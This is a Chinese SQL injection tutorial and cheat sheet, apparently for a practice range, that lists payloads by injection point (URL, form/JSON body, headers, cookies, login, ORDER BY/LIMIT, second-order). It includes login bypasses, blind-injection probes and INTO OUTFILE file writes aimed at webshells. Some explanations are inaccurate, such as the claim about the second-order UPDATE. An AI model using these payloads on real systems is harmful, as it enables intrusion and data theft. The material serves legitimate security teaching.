场
场景注入 · 从输入面到切入点
同一种手法,换一个位置 → 换个姿势。
场景 › GET
GET 参数注入 最常见
最经典:URL 里 ?key=value 直接进 SQL
URL 查询字符串参数若被直接拼接进查询,就是 GET 注入。例子:http://hbc.haobachang.com/sub?id=350 这类 id 参数。
从探测到取数一条龙
?id=350-- - # ①先看基准
?id=350' -- - # ②测闭合
?id=350 ORDER BY 4-- - # ③数列数(这里=3)
?id=350 UNION SELECT 1,2,3-- - # ④找回显位
?id=350 UNION SELECT 1,database(),user()-- - # ⑤放真货
场景 › POST
POST / 表单 / JSON 注入 高频
登录、搜索、提交数据的藏身点
登录、评论、配置等表单提交参数,payload 往往一模一样,只是从 URL 挪到 body。
表单字段(与 GET 同套 payload)
POST /login
username=' OR '1'='1'-- - # 登录绕过(详见登录节)
audit_pwd=' AND ascii(substr(database(),1,1))=115-- - # 盲注
JSON body(记得闭合大括号)
{"id":"350 UNION SELECT 1,2-- -"} # 字符串字段同理,先用"探索
{"id":"350' OR '1'='1"} # JSON 里闭合引号更直观
差异点
POST 用 Content-Type 决定解析方式。JSON 务必先看懂结构再闭合引号。
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
' | - | - |
-- 空格 / # | MySQL 行末注释 | 把后面 AND/ORDER BY 通通吃掉 |
SLEEP(3) | 让查询卡住 N 秒 | 时间盲注的信号:真→卡、假→秒回 |
mid()/substr() | 截取字符串的某一段 | 报错/盲注入里分段搬长数据(每次 n,1) |
Content-Type | 告诉后端怎么解析 body | form 加引号、JSON 闭合大括号、XML 要自己包标签 |
场景 › Header
Header 注入 低概率·高价值
藏在请求头里的隐藏参数
User-Agent / Referer / X-Forwarded-For / Cookie 被记日志或拼 SQL 时,就是注入点。
User-Agent / XFF
User-Agent: x' AND SLEEP(3)-- - # IP/UA 被写库时好使
X-Forwarded-For: 127.0.0.1' AND 1=1-- - # 取真实 IP 的接口
提示/要点:后端常把 Referer / UA 写进 访问日志或统计表,一旦那里拼接 SQL,就成注入点。
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
x' AND SLEEP(3)-- - | 在 UA 值后闭合并注入 | 睡3秒→说明 UA 进了查询;再换布尔/UNION 取数 |
X-Forwarded-For | 真实客户端 IP 头 | 很多取 IP 的逻辑拼 SQL,是隐藏注入面 |
场景 › Cookie
Cookie 注入 藏点
绕过 URL/body 的表层防护
Cookie 里的 id / user / theme 等,可能直接拼 SQL。要手工改包送 Cookie。
改 Cookie 注入
Cookie: id=1' AND 1=1-- - # 内容不变(真)
Cookie: id=1' AND 1=2-- - # 内容变空(假) → 成立
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
AND 1=1 | - | - |
AND 1=2 | - | - |
改 Cookie | 用代理/curl 发包 | 浏览器不会让你直接在 Cookie 里敲,见工具 |
场景 › 搜索/逻辑
搜索 & 登录逻辑注入 逻辑型
绕过判断,不一定要取数
搜索框和登录往往只关心“是否命中”,用逻辑型 payload 改判断结果即可。
搜索框逻辑绕过
title=%' OR 1=1-- - # 列出全部商品
搜索 ' OR '1'='1 # 通用型
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
%' | 闭合 LIKE 的 % 与引号 | 闭合后注入对 LIKE 也生效 |
OR 1=1 | 恒真 | 列出全表数据;也可 OR 1=2 反着看 |
场景 › 登录
登录页 · 万能口令 逻辑型
admin' or '1'='1' 是入门第一课
登录查询通常是 WHERE username='...' AND password='...'。只要把 WHERE 整段弄成恒真,验证就绕过。
万能口令两条
username=admin' or '1'='1 password=随便
username=' or 1=1-- - password=随便 # # 或 -- - 吃掉引号后条件
它等价于拼成了什么
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='x'
# OR 优先级低,但 '1'='1' 恒真 → 整条 AND 恒真 → 返回 admin 行
提示/要点:拿到登录入口 → 下一条是探测哪个库 → UNION 取数据 → 提权,连接墙已打开。
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
admin' or '1'='1 | 万能口令 | 让 WHERE 恒真 → 直接以第一条(常是 admin)身份登录 |
' or 1=1-- - | 闭合 + 注释变体 | 多一个 -- - 更稳,把后面 password 条件注释掉 |
OR 优先级 | OR 与 AND 组合后的真假 | 优先看 AND 再算 OR;恒真项把整个条件带成真 |
场景 › 特殊位
ORDER / LIMIT 特殊位 窄点
排序列名、分页数字的特殊位置
注入 ORDER BY / LIMIT 里没有引号但要测特殊手法。ORDER 用不了 UNION,走布尔/时间盲注。
ORDER BY 注入(列名位置)
?sort=name,(SELECT IF(1=1,SLEEP(3),0)) # 时间盲注
?sort=IF(database()='web',name,(SELECT 1)) # 布尔化,真/假看排序顺序
LIMIT 注入(数字位置)
?limit=1 INTO OUTFILE '/tmp/x.txt' # MySQL 可写文件(需 FILE+可写)
?limit=1 PROCEDURE ANALYSE() # 老版本报错注入
📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
SLEEP(3) | 让查询卡住 N 秒 | 时间盲注的信号:真→卡、假→秒回 |
INTO OUTFILE | 把查询结果写成服务器文件 | 写 webshell 的前提;需 file 权限 |
mid()/substr() | 截取字符串的某一段 | 报错/盲注入里分段搬长数据(每次 n,1) |
ORDER BY 后的列名 | 可注入子查询 | 盲注为主,少见回显 |
LIMIT 后的数字 | 可接 OUTFILE/PROCEDURE | 这是写文件/老报错的入口,权限要求高 |
场景 › 二次注入
二次注入(存储型) 要害
提交时无害,取回被拼接才爆炸
注入点不在提交处:恶意载荷先被存进数据库,下次被某条 SQL拼出来执行才触发。
典型入口:注册用户名/昵称/评论/搜索历史 —— 存的那一步无害,WAF 盯不上提交处,引信在第二次取用。
埋雷(入库阶段,无害)
注册用户名:admin'-- - # 仅入库,一句 SELECT 不炸
引爆(取回阶段,炸)
UPDATE users SET pass='666' WHERE name='admin'-- -' # 语句在 -- - 处截断,把条件里所有人都改成 666
提示/要点:靶场练习:hbc 平台
sql注入-二次注入 就是这个套路——先注册一个带 payload 的用户名,再走用户资料/单人查询接口引爆。📝 逐段拆解 · 拿到后往哪深挖
| 术语 / 片段 | 含义 | 深挖 / 下一步 → |
|---|---|---|
admin'-- - | 存入数据库的注入载荷 | 入库阶段无害,是“埋下的雷” |
取回后又被拼进新 SQL | 引信:库里取出的值再次被拼接 | 引爆点,跟普通注入一个套路 |
一次 vs 二次注入 | 提交即炸 vs 存库后炸 | 后者更隐蔽,WAF/审查只盯提交处看不到 |
引爆式闭合选择 | 取回值该用哪种引号闭合 | 按引爆 SQL 里的类型试:数字/字符/盲注 |